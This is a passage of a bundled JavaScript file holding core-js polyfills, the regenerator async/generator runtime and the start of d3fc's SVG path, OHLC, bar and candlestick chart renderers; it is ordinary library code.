},{"108":108,"27":27,"32":32,"36":36,"50":50,"52":52}],286:[function(_dereq_,module,exports){
'use strict';
// https://github.com/tc39/proposal-string-pad-start-end
var $export = _dereq_(32)
, $pad = _dereq_(100);
$export($export.P, 'String', {
padEnd: function padEnd(maxLength /*, fillString = ' ' */){
return $pad(this, maxLength, arguments.length > 1 ? arguments[1] : undefined, false);
}
});
},{"100":100,"32":32}],287:[function(_dereq_,module,exports){
'use strict';
// https://github.com/tc39/proposal-string-pad-start-end
var $export = _dereq_(32)
, $pad = _dereq_(100);
$export($export.P, 'String', {
padStart: function padStart(maxLength /*, fillString = ' ' */){
return $pad(this, maxLength, arguments.length > 1 ? arguments[1] : undefined, true);
}
});
},{"100":100,"32":32}],288:[function(_dereq_,module,exports){
'use strict';
// https://github.com/sebmarkbage/ecmascript-string-left-right-trim
_dereq_(102)('trimLeft', function($trim){
return function trimLeft(){
return $trim(this, 1);
};
}, 'trimStart');
},{"102":102}],289:[function(_dereq_,module,exports){
'use strict';
// https://github.com/sebmarkbage/ecmascript-string-left-right-trim
_dereq_(102)('trimRight', function($trim){
return function trimRight(){
return $trim(this, 2);
};
}, 'trimEnd');
},{"102":102}],290:[function(_dereq_,module,exports){
_dereq_(115)('asyncIterator');
},{"115":115}],291:[function(_dereq_,module,exports){
_dereq_(115)('observable');
},{"115":115}],292:[function(_dereq_,module,exports){
// https://github.com/ljharb/proposal-global
var $export = _dereq_(32);
$export($export.S, 'System', {global: _dereq_(38)});
},{"32":32,"38":38}],293:[function(_dereq_,module,exports){
var $iterators = _dereq_(131)
, redefine = _dereq_(87)
, global = _dereq_(38)
, hide = _dereq_(40)
, Iterators = _dereq_(56)
, wks = _dereq_(117)
, ITERATOR = wks('iterator')
, TO_STRING_TAG = wks('toStringTag')
, ArrayValues = Iterators.Array;
for(var collections = ['NodeList', 'DOMTokenList', 'MediaList', 'StyleSheetList', 'CSSRuleList'], i = 0; i < 5; i++){
var NAME = collections[i]
, Collection = global[NAME]
, proto = Collection && Collection.prototype
, key;
if(proto){
if(!proto[ITERATOR])hide(proto, ITERATOR, ArrayValues);
if(!proto[TO_STRING_TAG])hide(proto, TO_STRING_TAG, NAME);
Iterators[NAME] = ArrayValues;
for(key in $iterators)if(!proto[key])redefine(proto, key, $iterators[key], true);
}
}
},{"117":117,"131":131,"38":38,"40":40,"56":56,"87":87}],294:[function(_dereq_,module,exports){
var $export = _dereq_(32)
, $task = _dereq_(104);
$export($export.G + $export.B, {
setImmediate: $task.set,
clearImmediate: $task.clear
});
},{"104":104,"32":32}],295:[function(_dereq_,module,exports){
// ie9- setTimeout & setInterval additional parameters fix
var global = _dereq_(38)
, $export = _dereq_(32)
, invoke = _dereq_(44)
, partial = _dereq_(83)
, navigator = global.navigator
, MSIE = !!navigator && /MSIE .\./.test(navigator.userAgent); // <- dirty ie9- check
var wrap = function(set){
return MSIE ? function(fn, time /*, ...args */){
return set(invoke(
partial,
[].slice.call(arguments, 2),
typeof fn == 'function' ? fn : Function(fn)
), time);
} : set;
};
$export($export.G + $export.B + $export.F * MSIE, {
setTimeout: wrap(global.setTimeout),
setInterval: wrap(global.setInterval)
});
},{"32":32,"38":38,"44":44,"83":83}],296:[function(_dereq_,module,exports){
_dereq_(244);
_dereq_(181);
_dereq_(183);
_dereq_(182);
_dereq_(185);
_dereq_(187);
_dereq_(192);
_dereq_(186);
_dereq_(184);
_dereq_(194);
_dereq_(193);
_dereq_(189);
_dereq_(190);
_dereq_(188);
_dereq_(180);
_dereq_(191);
_dereq_(195);
_dereq_(196);
_dereq_(147);
_dereq_(149);
_dereq_(148);
_dereq_(198);
_dereq_(197);
_dereq_(168);
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_dereq_(294);
_dereq_(293);
module.exports = _dereq_(23);
},{"121":121,"122":122,"123":123,"124":124,"125":125,"126":126,"127":127,"128":128,"129":129,"130":130,"131":131,"132":132,"133":133,"134":134,"135":135,"136":136,"137":137,"138":138,"139":139,"140":140,"141":141,"142":142,"143":143,"144":144,"145":145,"146":146,"147":147,"148":148,"149":149,"150":150,"151":151,"152":152,"153":153,"154":154,"155":155,"156":156,"157":157,"158":158,"159":159,"160":160,"161":161,"162":162,"163":163,"164":164,"165":165,"166":166,"167":167,"168":168,"169":169,"170":170,"171":171,"172":172,"173":173,"174":174,"175":175,"176":176,"177":177,"178":178,"179":179,"180":180,"181":181,"182":182,"183":183,"184":184,"185":185,"186":186,"187":187,"188":188,"189":189,"190":190,"191":191,"192":192,"193":193,"194":194,"195":195,"196":196,"197":197,"198":198,"199":199,"200":200,"201":201,"202":202,"203":203,"204":204,"205":205,"206":206,"207":207,"208":208,"209":209,"210":210,"211":211,"212":212,"213":213,"214":214,"215":215,"216":216,"217":217,"218":218,"219":219,"220":220,"221":221,"222":222,"223":223,"224":224,"225":225,"226":226,"227":227,"228":228,"229":229,"23":23,"230":230,"231":231,"232":232,"233":233,"234":234,"235":235,"236":236,"237":237,"238":238,"239":239,"240":240,"241":241,"242":242,"243":243,"244":244,"245":245,"246":246,"247":247,"248":248,"249":249,"250":250,"251":251,"252":252,"253":253,"254":254,"255":255,"256":256,"257":257,"258":258,"259":259,"260":260,"261":261,"262":262,"263":263,"264":264,"265":265,"266":266,"267":267,"268":268,"269":269,"270":270,"271":271,"272":272,"273":273,"274":274,"275":275,"276":276,"277":277,"278":278,"279":279,"280":280,"281":281,"282":282,"283":283,"284":284,"285":285,"286":286,"287":287,"288":288,"289":289,"290":290,"291":291,"292":292,"293":293,"294":294,"295":295}],297:[function(_dereq_,module,exports){
(function (global){
/**
* Copyright (c) 2014, Facebook, Inc.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in the
* https://raw.github.com/facebook/regenerator/master/LICENSE file. An
* additional grant of patent rights can be found in the PATENTS file in
* the same directory.
*/
!(function(global) {
"use strict";
var hasOwn = Object.prototype.hasOwnProperty;
var undefined; // More compressible than void 0.
var $Symbol = typeof Symbol === "function" ? Symbol : {};
var iteratorSymbol = $Symbol.iterator || "@@iterator";
var toStringTagSymbol = $Symbol.toStringTag || "@@toStringTag";
var inModule = typeof module === "object";
var runtime = global.regeneratorRuntime;
if (runtime) {
if (inModule) {
// If regeneratorRuntime is defined globally and we're in a module,
// make the exports object identical to regeneratorRuntime.
module.exports = runtime;
}
// Don't bother evaluating the rest of this file if the runtime was
// already defined globally.
return;
}
// Define the runtime globally (as expected by generated code) as either
// module.exports (if we're in a module) or a new, empty object.
runtime = global.regeneratorRuntime = inModule ? module.exports : {};
function wrap(innerFn, outerFn, self, tryLocsList) {
// If outerFn provided, then outerFn.prototype instanceof Generator.
var generator = Object.create((outerFn || Generator).prototype);
var context = new Context(tryLocsList || []);
// The ._invoke method unifies the implementations of the .next,
// .throw, and .return methods.
generator._invoke = makeInvokeMethod(innerFn, self, context);
return generator;
}
runtime.wrap = wrap;
// Try/catch helper to minimize deoptimizations. Returns a completion
// record like context.tryEntries[i].completion. This interface could
// have been (and was previously) designed to take a closure to be
// invoked without arguments, but in all the cases we care about we
// already have an existing method we want to call, so there's no need
// to create a new function object. We can even get away with assuming
// the method takes exactly one argument, since that happens to be true
// in every case, so we don't have to touch the arguments object. The
// only additional allocation required is the completion record, which
// has a stable shape and so hopefully should be cheap to allocate.
function tryCatch(fn, obj, arg) {
try {
return { type: "normal", arg: fn.call(obj, arg) };
} catch (err) {
return { type: "throw", arg: err };
}
}
var GenStateSuspendedStart = "suspendedStart";
var GenStateSuspendedYield = "suspendedYield";
var GenStateExecuting = "executing";
var GenStateCompleted = "completed";
// Returning this object from the innerFn has the same effect as
// breaking out of the dispatch switch statement.
var ContinueSentinel = {};
// Dummy constructor functions that we use as the .constructor and
// .constructor.prototype properties for functions that return Generator
// objects. For full spec compliance, you may wish to configure your
// minifier not to mangle the names of these two functions.
function Generator() {}
function GeneratorFunction() {}
function GeneratorFunctionPrototype() {}
var Gp = GeneratorFunctionPrototype.prototype = Generator.prototype;
GeneratorFunction.prototype = Gp.constructor = GeneratorFunctionPrototype;
GeneratorFunctionPrototype.constructor = GeneratorFunction;
GeneratorFunctionPrototype[toStringTagSymbol] = GeneratorFunction.displayName = "GeneratorFunction";
// Helper for defining the .next, .throw, and .return methods of the
// Iterator interface in terms of a single ._invoke method.
function defineIteratorMethods(prototype) {
["next", "throw", "return"].forEach(function(method) {
prototype[method] = function(arg) {
return this._invoke(method, arg);
};
});
}
runtime.isGeneratorFunction = function(genFun) {
var ctor = typeof genFun === "function" && genFun.constructor;
return ctor
? ctor === GeneratorFunction ||
// For the native GeneratorFunction constructor, the best we can
// do is to check its .name property.
(ctor.displayName || ctor.name) === "GeneratorFunction"
: false;
};
runtime.mark = function(genFun) {
if (Object.setPrototypeOf) {
Object.setPrototypeOf(genFun, GeneratorFunctionPrototype);
} else {
genFun.__proto__ = GeneratorFunctionPrototype;
if (!(toStringTagSymbol in genFun)) {
genFun[toStringTagSymbol] = "GeneratorFunction";
}
}
genFun.prototype = Object.create(Gp);
return genFun;
};
// Within the body of any async function, `await x` is transformed to
// `yield regeneratorRuntime.awrap(x)`, so that the runtime can test
// `value instanceof AwaitArgument` to determine if the yielded value is
// meant to be awaited. Some may consider the name of this method too
// cutesy, but they are curmudgeons.
runtime.awrap = function(arg) {
return new AwaitArgument(arg);
};
function AwaitArgument(arg) {
this.arg = arg;
}
function AsyncIterator(generator) {
function invoke(method, arg, resolve, reject) {
var record = tryCatch(generator[method], generator, arg);
if (record.type === "throw") {
reject(record.arg);
} else {
var result = record.arg;
var value = result.value;
if (value instanceof AwaitArgument) {
return Promise.resolve(value.arg).then(function(value) {
invoke("next", value, resolve, reject);
}, function(err) {
invoke("throw", err, resolve, reject);
});
}
return Promise.resolve(value).then(function(unwrapped) {
// When a yielded Promise is resolved, its final value becomes
// the .value of the Promise<{value,done}> result for the
// current iteration. If the Promise is rejected, however, the
// result for this iteration will be rejected with the same
// reason. Note that rejections of yielded Promises are not
// thrown back into the generator function, as is the case
// when an awaited Promise is rejected. This difference in
// behavior between yield and await is important, because it
// allows the consumer to decide what to do with the yielded
// rejection (swallow it and continue, manually .throw it back
// into the generator, abandon iteration, whatever). With
// await, by contrast, there is no opportunity to examine the
// rejection reason outside the generator function, so the
// only option is to throw it from the await expression, and
// let the generator function handle the exception.
result.value = unwrapped;
resolve(result);
}, reject);
}
}
if (typeof process === "object" && process.domain) {
invoke = process.domain.bind(invoke);
}
var previousPromise;
function enqueue(method, arg) {
function callInvokeWithMethodAndArg() {
return new Promise(function(resolve, reject) {
invoke(method, arg, resolve, reject);
});
}
return previousPromise =
// If enqueue has been called before, then we want to wait until
// all previous Promises have been resolved before calling invoke,
// so that results are always delivered in the correct order. If
// enqueue has not been called before, then it is important to
// call invoke immediately, without waiting on a callback to fire,
// so that the async generator function has the opportunity to do
// any necessary setup in a predictable way. This predictability
// is why the Promise constructor synchronously invokes its
// executor callback, and why async functions synchronously
// execute code before the first await. Since we implement simple
// async functions in terms of async generators, it is especially
// important to get this right, even though it requires care.
previousPromise ? previousPromise.then(
callInvokeWithMethodAndArg,
// Avoid propagating failures to Promises returned by later
// invocations of the iterator.
callInvokeWithMethodAndArg
) : callInvokeWithMethodAndArg();
}
// Define the unified helper method that is used to implement .next,
// .throw, and .return (see defineIteratorMethods).
this._invoke = enqueue;
}
defineIteratorMethods(AsyncIterator.prototype);
// Note that simple async functions are implemented on top of
// AsyncIterator objects; they just return a Promise for the value of
// the final result produced by the iterator.
runtime.async = function(innerFn, outerFn, self, tryLocsList) {
var iter = new AsyncIterator(
wrap(innerFn, outerFn, self, tryLocsList)
);
return runtime.isGeneratorFunction(outerFn)
? iter // If outerFn is a generator, return the full iterator.
: iter.next().then(function(result) {
return result.done ? result.value : iter.next();
});
};
function makeInvokeMethod(innerFn, self, context) {
var state = GenStateSuspendedStart;
return function invoke(method, arg) {
if (state === GenStateExecuting) {
throw new Error("Generator is already running");
}
if (state === GenStateCompleted) {
if (method === "throw") {
throw arg;
}
// Be forgiving, per 25.3.3.3.3 of the spec:
// https://people.mozilla.org/~jorendorff/es6-draft.html#sec-generatorresume
return doneResult();
}
while (true) {
var delegate = context.delegate;
if (delegate) {
if (method === "return" ||
(method === "throw" && delegate.iterator[method] === undefined)) {
// A return or throw (when the delegate iterator has no throw
// method) always terminates the yield* loop.
context.delegate = null;
// If the delegate iterator has a return method, give it a
// chance to clean up.
var returnMethod = delegate.iterator["return"];
if (returnMethod) {
var record = tryCatch(returnMethod, delegate.iterator, arg);
if (record.type === "throw") {
// If the return method threw an exception, let that
// exception prevail over the original return or throw.
method = "throw";
arg = record.arg;
continue;
}
}
if (method === "return") {
// Continue with the outer return, now that the delegate
// iterator has been terminated.
continue;
}
}
var record = tryCatch(
delegate.iterator[method],
delegate.iterator,
arg
);
if (record.type === "throw") {
context.delegate = null;
// Like returning generator.throw(uncaught), but without the
// overhead of an extra function call.
method = "throw";
arg = record.arg;
continue;
}
// Delegate generator ran and handled its own exceptions so
// regardless of what the method was, we continue as if it is
// "next" with an undefined arg.
method = "next";
arg = undefined;
var info = record.arg;
if (info.done) {
context[delegate.resultName] = info.value;
context.next = delegate.nextLoc;
} else {
state = GenStateSuspendedYield;
return info;
}
context.delegate = null;
}
if (method === "next") {
// Setting context._sent for legacy support of Babel's
// function.sent implementation.
context.sent = context._sent = arg;
} else if (method === "throw") {
if (state === GenStateSuspendedStart) {
state = GenStateCompleted;
throw arg;
}
if (context.dispatchException(arg)) {
// If the dispatched exception was caught by a catch block,
// then let that catch block handle the exception normally.
method = "next";
arg = undefined;
}
} else if (method === "return") {
context.abrupt("return", arg);
}
state = GenStateExecuting;
var record = tryCatch(innerFn, self, context);
if (record.type === "normal") {
// If an exception is thrown from innerFn, we leave state ===
// GenStateExecuting and loop back for another invocation.
state = context.done
? GenStateCompleted
: GenStateSuspendedYield;
var info = {
value: record.arg,
done: context.done
};
if (record.arg === ContinueSentinel) {
if (context.delegate && method === "next") {
// Deliberately forget the last sent value so that we don't
// accidentally pass it on to the delegate.
arg = undefined;
}
} else {
return info;
}
} else if (record.type === "throw") {
state = GenStateCompleted;
// Dispatch the exception by looping back around to the
// context.dispatchException(arg) call above.
method = "throw";
arg = record.arg;
}
}
};
}
// Define Generator.prototype.{next,throw,return} in terms of the
// unified ._invoke helper method.
defineIteratorMethods(Gp);
Gp[iteratorSymbol] = function() {
return this;
};
Gp[toStringTagSymbol] = "Generator";
Gp.toString = function() {
return "[object Generator]";
};
function pushTryEntry(locs) {
var entry = { tryLoc: locs[0] };
if (1 in locs) {
entry.catchLoc = locs[1];
}
if (2 in locs) {
entry.finallyLoc = locs[2];
entry.afterLoc = locs[3];
}
this.tryEntries.push(entry);
}
function resetTryEntry(entry) {
var record = entry.completion || {};
record.type = "normal";
delete record.arg;
entry.completion = record;
}
function Context(tryLocsList) {
// The root entry object (effectively a try statement without a catch
// or a finally block) gives us a place to store values thrown from
// locations where there is no enclosing try statement.
this.tryEntries = [{ tryLoc: "root" }];
tryLocsList.forEach(pushTryEntry, this);
this.reset(true);
}
runtime.keys = function(object) {
var keys = [];
for (var key in object) {
keys.push(key);
}
keys.reverse();
// Rather than returning an object with a next method, we keep
// things simple and return the next function itself.
return function next() {
while (keys.length) {
var key = keys.pop();
if (key in object) {
next.value = key;
next.done = false;
return next;
}
}
// To avoid creating an additional object, we just hang the .value
// and .done properties off the next function object itself. This
// also ensures that the minifier will not anonymize the function.
next.done = true;
return next;
};
};
function values(iterable) {
if (iterable) {
var iteratorMethod = iterable[iteratorSymbol];
if (iteratorMethod) {
return iteratorMethod.call(iterable);
}
if (typeof iterable.next === "function") {
return iterable;
}
if (!isNaN(iterable.length)) {
var i = -1, next = function next() {
while (++i < iterable.length) {
if (hasOwn.call(iterable, i)) {
next.value = iterable[i];
next.done = false;
return next;
}
}
next.value = undefined;
next.done = true;
return next;
};
return next.next = next;
}
}
// Return an iterator with no values.
return { next: doneResult };
}
runtime.values = values;
function doneResult() {
return { value: undefined, done: true };
}
Context.prototype = {
constructor: Context,
reset: function(skipTempReset) {
this.prev = 0;
this.next = 0;
// Resetting context._sent for legacy support of Babel's
// function.sent implementation.
this.sent = this._sent = undefined;
this.done = false;
this.delegate = null;
this.tryEntries.forEach(resetTryEntry);
if (!skipTempReset) {
for (var name in this) {
// Not sure about the optimal order of these conditions:
if (name.charAt(0) === "t" &&
hasOwn.call(this, name) &&
!isNaN(+name.slice(1))) {
this[name] = undefined;
}
}
}
},
stop: function() {
this.done = true;
var rootEntry = this.tryEntries[0];
var rootRecord = rootEntry.completion;
if (rootRecord.type === "throw") {
throw rootRecord.arg;
}
return this.rval;
},
dispatchException: function(exception) {
if (this.done) {
throw exception;
}
var context = this;
function handle(loc, caught) {
record.type = "throw";
record.arg = exception;
context.next = loc;
return !!caught;
}
for (var i = this.tryEntries.length - 1; i >= 0; --i) {
var entry = this.tryEntries[i];
var record = entry.completion;
if (entry.tryLoc === "root") {
// Exception thrown outside of any try block that could handle
// it, so set the completion value of the entire function to
// throw the exception.
return handle("end");
}
if (entry.tryLoc <= this.prev) {
var hasCatch = hasOwn.call(entry, "catchLoc");
var hasFinally = hasOwn.call(entry, "finallyLoc");
if (hasCatch && hasFinally) {
if (this.prev < entry.catchLoc) {
return handle(entry.catchLoc, true);
} else if (this.prev < entry.finallyLoc) {
return handle(entry.finallyLoc);
}
} else if (hasCatch) {
if (this.prev < entry.catchLoc) {
return handle(entry.catchLoc, true);
}
} else if (hasFinally) {
if (this.prev < entry.finallyLoc) {
return handle(entry.finallyLoc);
}
} else {
throw new Error("try statement without catch or finally");
}
}
}
},
abrupt: function(type, arg) {
for (var i = this.tryEntries.length - 1; i >= 0; --i) {
var entry = this.tryEntries[i];
if (entry.tryLoc <= this.prev &&
hasOwn.call(entry, "finallyLoc") &&
this.prev < entry.finallyLoc) {
var finallyEntry = entry;
break;
}
}
if (finallyEntry &&
(type === "break" ||
type === "continue") &&
finallyEntry.tryLoc <= arg &&
arg <= finallyEntry.finallyLoc) {
// Ignore the finally entry if control is not jumping to a
// location outside the try/catch block.
finallyEntry = null;
}
var record = finallyEntry ? finallyEntry.completion : {};
record.type = type;
record.arg = arg;
if (finallyEntry) {
this.next = finallyEntry.finallyLoc;
} else {
this.complete(record);
}
return ContinueSentinel;
},
complete: function(record, afterLoc) {
if (record.type === "throw") {
throw record.arg;
}
if (record.type === "break" ||
record.type === "continue") {
this.next = record.arg;
} else if (record.type === "return") {
this.rval = record.arg;
this.next = "end";
} else if (record.type === "normal" && afterLoc) {
this.next = afterLoc;
}
},
finish: function(finallyLoc) {
for (var i = this.tryEntries.length - 1; i >= 0; --i) {
var entry = this.tryEntries[i];
if (entry.finallyLoc === finallyLoc) {
this.complete(entry.completion, entry.afterLoc);
resetTryEntry(entry);
return ContinueSentinel;
}
}
},
"catch": function(tryLoc) {
for (var i = this.tryEntries.length - 1; i >= 0; --i) {
var entry = this.tryEntries[i];
if (entry.tryLoc === tryLoc) {
var record = entry.completion;
if (record.type === "throw") {
var thrown = record.arg;
resetTryEntry(entry);
}
return thrown;
}
}
// The context.catch method must only be called with a location
// argument that corresponds to a known catch block.
throw new Error("illegal catch attempt");
},
delegateYield: function(iterable, resultName, nextLoc) {
this.delegate = {
iterator: values(iterable),
resultName: resultName,
nextLoc: nextLoc
};
return ContinueSentinel;
}
};
})(
// Among the various tricks for obtaining a reference to the global
// object, this seems to be the most reliable technique that does not
// use indirect eval (which violates Content Security Policy).
typeof global === "object" ? global :
typeof window === "object" ? window :
typeof self === "object" ? self : this
);
}).call(this,typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : typeof window !== "undefined" ? window : {})
},{}]},{},[1]);
(function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory(require('d3'), require('css-layout')) :
typeof define === 'function' && define.amd ? define(['d3', 'css-layout'], factory) :
(global.fc = factory(global.d3,global.computeLayout));
}(this, function (d3,computeLayout) { 'use strict';
d3 = 'default' in d3 ? d3['default'] : d3;
computeLayout = 'default' in computeLayout ? computeLayout['default'] : computeLayout;
var pi = Math.PI;
var tau = 2 * pi;
var epsilon = 1e-6;
var tauEpsilon = tau - epsilon;
function Path() {
this._x0 = this._y0 = // start of current subpath
this._x1 = this._y1 = null; // end of current subpath
this._ = [];
}
function path() {
return new Path();
}
Path.prototype = path.prototype = {
constructor: Path,
moveTo: function moveTo(x, y) {
this._.push("M", this._x0 = this._x1 = +x, ",", this._y0 = this._y1 = +y);
},
closePath: function closePath() {
if (this._x1 !== null) {
this._x1 = this._x0, this._y1 = this._y0;
this._.push("Z");
}
},
lineTo: function lineTo(x, y) {
this._.push("L", this._x1 = +x, ",", this._y1 = +y);
},
quadraticCurveTo: function quadraticCurveTo(x1, y1, x, y) {
this._.push("Q", +x1, ",", +y1, ",", this._x1 = +x, ",", this._y1 = +y);
},
bezierCurveTo: function bezierCurveTo(x1, y1, x2, y2, x, y) {
this._.push("C", +x1, ",", +y1, ",", +x2, ",", +y2, ",", this._x1 = +x, ",", this._y1 = +y);
},
arcTo: function arcTo(x1, y1, x2, y2, r) {
x1 = +x1, y1 = +y1, x2 = +x2, y2 = +y2, r = +r;
var x0 = this._x1,
y0 = this._y1,
x21 = x2 - x1,
y21 = y2 - y1,
x01 = x0 - x1,
y01 = y0 - y1,
l01_2 = x01 * x01 + y01 * y01;
// Is the radius negative? Error.
if (r < 0) throw new Error("negative radius: " + r);
// Is this path empty? Move to (x1,y1).
if (this._x1 === null) {
this._.push("M", this._x1 = x1, ",", this._y1 = y1);
}
// Or, is (x1,y1) coincident with (x0,y0)? Do nothing.
else if (!(l01_2 > epsilon)) ;
// Or, are (x0,y0), (x1,y1) and (x2,y2) collinear?
// Equivalently, is (x1,y1) coincident with (x2,y2)?
// Or, is the radius zero? Line to (x1,y1).
else if (!(Math.abs(y01 * x21 - y21 * x01) > epsilon) || !r) {
this._.push("L", this._x1 = x1, ",", this._y1 = y1);
}
// Otherwise, draw an arc!
else {
var x20 = x2 - x0,
y20 = y2 - y0,
l21_2 = x21 * x21 + y21 * y21,
l20_2 = x20 * x20 + y20 * y20,
l21 = Math.sqrt(l21_2),
l01 = Math.sqrt(l01_2),
l = r * Math.tan((pi - Math.acos((l21_2 + l01_2 - l20_2) / (2 * l21 * l01))) / 2),
t01 = l / l01,
t21 = l / l21;
// If the start tangent is not coincident with (x0,y0), line to.
if (Math.abs(t01 - 1) > epsilon) {
this._.push("L", x1 + t01 * x01, ",", y1 + t01 * y01);
}
this._.push("A", r, ",", r, ",0,0,", +(y01 * x20 > x01 * y20), ",", this._x1 = x1 + t21 * x21, ",", this._y1 = y1 + t21 * y21);
}
},
arc: function arc(x, y, r, a0, a1, ccw) {
x = +x, y = +y, r = +r;
var dx = r * Math.cos(a0),
dy = r * Math.sin(a0),
x0 = x + dx,
y0 = y + dy,
cw = 1 ^ ccw,
da = ccw ? a0 - a1 : a1 - a0;
// Is the radius negative? Error.
if (r < 0) throw new Error("negative radius: " + r);
// Is this path empty? Move to (x0,y0).
if (this._x1 === null) {
this._.push("M", x0, ",", y0);
}
// Or, is (x0,y0) not coincident with the previous point? Line to (x0,y0).
else if (Math.abs(this._x1 - x0) > epsilon || Math.abs(this._y1 - y0) > epsilon) {
this._.push("L", x0, ",", y0);
}
// Is this arc empty? We’re done.
if (!r) return;
// Is this a complete circle? Draw two arcs to complete the circle.
if (da > tauEpsilon) {
this._.push("A", r, ",", r, ",0,1,", cw, ",", x - dx, ",", y - dy, "A", r, ",", r, ",0,1,", cw, ",", this._x1 = x0, ",", this._y1 = y0);
}
// Otherwise, draw an arc!
else {
if (da < 0) da = da % tau + tau;
this._.push("A", r, ",", r, ",0,", +(da >= pi), ",", cw, ",", this._x1 = x + r * Math.cos(a1), ",", this._y1 = y + r * Math.sin(a1));
}
},
rect: function rect(x, y, w, h) {
this._.push("M", this._x0 = this._x1 = +x, ",", this._y0 = this._y1 = +y, "h", +w, "v", +h, "h", -w, "Z");
},
toString: function toString() {
return this._.join("");
}
};
var functor = (function (v) {
return typeof v === 'function' ? v : function () {
return v;
};
})
// Renders an OHLC as an SVG path based on the given array of datapoints. Each
// OHLC has a fixed width, whilst the x, open, high, low and close positions are
// obtained from each point via the supplied accessor functions.
var ohlc = (function () {
var context = null;
var x = function x(d) {
return d.date;
};
var open = function open(d) {
return d.open;
};
var high = function high(d) {
return d.high;
};
var low = function low(d) {
return d.low;
};
var close = function close(d) {
return d.close;
};
var orient = 'vertical';
var width = functor(3);
var ohlc = function ohlc(data) {
var buffer = context ? undefined : context = path();
data.forEach(function (d, i) {
var xValue = x(d, i);
var yOpen = open(d, i);
var yHigh = high(d, i);
var yLow = low(d, i);
var yClose = close(d, i);
var halfWidth = width(d, i) / 2;
if (orient === 'vertical') {
context.moveTo(xValue, yLow);
context.lineTo(xValue, yHigh);
context.moveTo(xValue, yOpen);
context.lineTo(xValue - halfWidth, yOpen);
context.moveTo(xValue, yClose);
context.lineTo(xValue + halfWidth, yClose);
} else {
context.moveTo(yLow, xValue);
context.lineTo(yHigh, xValue);
context.moveTo(yOpen, xValue);
context.lineTo(yOpen, xValue + halfWidth);
context.moveTo(yClose, xValue);
context.lineTo(yClose, xValue - halfWidth);
}
});
return buffer && (context = null, buffer.toString() || null);
};
ohlc.context = function () {
if (!arguments.length) {
return context;
}
context = arguments.length <= 0 ? undefined : arguments[0];
return ohlc;
};
ohlc.x = function () {
if (!arguments.length) {
return x;
}
x = functor(arguments.length <= 0 ? undefined : arguments[0]);
return ohlc;
};
ohlc.open = function () {
if (!arguments.length) {
return open;
}
open = functor(arguments.length <= 0 ? undefined : arguments[0]);
return ohlc;
};
ohlc.high = function () {
if (!arguments.length) {
return high;
}
high = functor(arguments.length <= 0 ? undefined : arguments[0]);
return ohlc;
};
ohlc.low = function () {
if (!arguments.length) {
return low;
}
low = functor(arguments.length <= 0 ? undefined : arguments[0]);
return ohlc;
};
ohlc.close = function () {
if (!arguments.length) {
return close;
}
close = functor(arguments.length <= 0 ? undefined : arguments[0]);
return ohlc;
};
ohlc.width = function () {
if (!arguments.length) {
return width;
}
width = functor(arguments.length <= 0 ? undefined : arguments[0]);
return ohlc;
};
ohlc.orient = function () {
if (!arguments.length) {
return orient;
}
orient = arguments.length <= 0 ? undefined : arguments[0];
return ohlc;
};
return ohlc;
})
// Renders a bar series as an SVG path based on the given array of datapoints. Each
// bar has a fixed width, whilst the x, y and height are obtained from each data
// point via the supplied accessor functions.
var bar = (function () {
var context = null;
var x = function x(d) {
return d.x;
};
var y = function y(d) {
return d.y;
};
var horizontalAlign = 'center';
var verticalAlign = 'center';
var height = function height(d) {
return d.height;
};
var width = functor(3);
var bar = function bar(data, index) {
var buffer = context ? undefined : context = path();
data.forEach(function (d, i) {
var xValue = x.call(this, d, index || i);
var yValue = y.call(this, d, index || i);
var barHeight = height.call(this, d, index || i);
var barWidth = width.call(this, d, index || i);
var horizontalOffset = void 0;
switch (horizontalAlign) {
case 'left':
horizontalOffset = barWidth;
break;
case 'right':
horizontalOffset = 0;
break;
case 'center':
horizontalOffset = barWidth / 2;
break;
default:
throw new Error('Invalid horizontal alignment ' + horizontalAlign);
}
var verticalOffset = void 0;
switch (verticalAlign) {
case 'bottom':
verticalOffset = -barHeight;
break;
case 'top':
verticalOffset = 0;
break;
case 'center':
verticalOffset = barHeight / 2;
break;
default:
throw new Error('Invalid vertical alignment ' + verticalAlign);
}
context.rect(xValue - horizontalOffset, yValue - verticalOffset, barWidth, barHeight);
}, this);
return buffer && (context = null, buffer.toString() || null);
};
bar.context = function () {
if (!arguments.length) {
return context;
}
context = arguments.length <= 0 ? undefined : arguments[0];
return bar;
};
bar.x = function () {
if (!arguments.length) {
return x;
}
x = functor(arguments.length <= 0 ? undefined : arguments[0]);
return bar;
};
bar.y = function () {
if (!arguments.length) {
return y;
}
y = functor(arguments.length <= 0 ? undefined : arguments[0]);
return bar;
};
bar.width = function () {
if (!arguments.length) {
return width;
}
width = functor(arguments.length <= 0 ? undefined : arguments[0]);
return bar;
};
bar.horizontalAlign = function () {
if (!arguments.length) {
return horizontalAlign;
}
horizontalAlign = arguments.length <= 0 ? undefined : arguments[0];
return bar;
};
bar.height = function () {
if (!arguments.length) {
return height;
}
height = functor(arguments.length <= 0 ? undefined : arguments[0]);
return bar;
};
bar.verticalAlign = function () {
if (!arguments.length) {
return verticalAlign;
}
verticalAlign = arguments.length <= 0 ? undefined : arguments[0];
return bar;
};
return bar;
})
// Renders a candlestick as an SVG path based on the given array of datapoints. Each
// candlestick has a fixed width, whilst the x, open, high, low and close positions are
// obtained from each point via the supplied accessor functions.
var candlestick = (function () {
var context = null;
var x = function x(d) {
return d.date;
};
var open = function open(d) {
return d.open;
};
var high = function high(d) {
return d.high;
};
var low = function low(d) {
return d.low;
};
var close = function close(d) {
return d.close;
};
var width = functor(3);
var candlestick = function candlestick(data) {
var buffer = context ? undefined : context = path();
data.forEach(function (d, i) {
var xValue = x(d, i);
var yOpen = open(d, i);
var yHigh = high(d, i);
var yLow = low(d, i);
var yClose = close(d, i);
var barWidth = width(d, i);
var halfBarWidth = barWidth / 2;
// Body
context.rect(xValue - halfBarWidth, yOpen, barWidth, yClose - yOpen);
// High wick
// // Move to the max price of close or open; draw the high wick
// N.B. Math.min() is used as we're dealing with pixel values,
// the lower the pixel value, the higher the price!
context.moveTo(xValue, Math.min(yClose, yOpen));
context.lineTo(xValue, yHigh);
// Low wick
// // Move to the min price of close or open; draw the low wick
// N.B. Math.max() is used as we're dealing with pixel values,
// the higher the pixel value, the lower the price!
context.moveTo(xValue, Math.max(yClose, yOpen));
context.lineTo(xValue, yLow);
});
return buffer && (context = null, buffer.toString() || null);
};
candlestick.context = function () {
if (!arguments.length) {
return context;
}
context = arguments.length <= 0 ? undefined : arguments[0];
